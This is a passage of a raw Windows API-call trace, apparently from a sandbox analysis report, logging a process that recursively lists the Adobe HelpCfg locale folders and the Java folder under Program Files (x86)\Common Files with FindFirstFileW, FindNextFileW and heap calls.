dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0242.648] GetProcessHeap () returned 0x550000 [0242.648] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.713] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.713] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.713] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.713] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.714] GetProcessHeap () returned 0x550000 [0242.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.714] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0242.715] GetProcessHeap () returned 0x550000 [0242.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.715] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.715] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.715] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.715] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.715] GetProcessHeap () returned 0x550000 [0242.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.716] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0242.716] GetProcessHeap () returned 0x550000 [0242.716] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.716] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.716] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.716] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.716] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.716] GetProcessHeap () returned 0x550000 [0242.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.716] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0242.717] GetProcessHeap () returned 0x550000 [0242.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.784] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.784] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.788] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.788] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.823] GetProcessHeap () returned 0x550000 [0242.823] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.823] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0242.823] GetProcessHeap () returned 0x550000 [0242.823] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.824] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.824] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.824] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.824] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.824] GetProcessHeap () returned 0x550000 [0242.824] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.824] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0242.824] GetProcessHeap () returned 0x550000 [0242.824] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.825] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.825] GetProcessHeap () returned 0x550000 [0242.825] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0242.825] GetProcessHeap () returned 0x550000 [0242.825] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0242.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0242.826] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0242.826] GetProcessHeap () returned 0x550000 [0242.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0242.826] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0242.826] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0242.826] GetProcessHeap () returned 0x550000 [0242.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0242.826] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0242.826] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0242.826] GetProcessHeap () returned 0x550000 [0242.826] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0242.826] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0242.826] GetProcessHeap () returned 0x550000 [0242.826] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0242.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0242.980] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.981] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 